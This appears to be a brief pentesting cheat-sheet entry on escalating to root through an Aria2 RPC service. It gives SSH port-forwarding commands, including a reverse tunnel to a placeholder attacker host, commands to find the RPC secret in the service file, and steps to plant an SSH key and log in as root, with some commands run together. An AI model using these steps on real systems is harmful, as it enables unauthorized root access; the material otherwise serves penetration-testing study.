Aria2 Privilege Escalation
Requirements:
1) If it runs internally, expose the RPC service via port forwarding
ssh -L 6800:127.0.0.1:6800 user@IPssh -R 6800:127.0.0.1:6800 attacker@ATTACK_IP2) Extract the RPC secret
cat /etc/systemd/system/aria2.servicefind / -iname aria2* -type f 2>/dev/null3) Create a pair of SSH keys, and store them in a temporary folder
ssh-keygen -t rsa4) Write the public key on the target machine using the aria2 service
5) Login as root
Last updated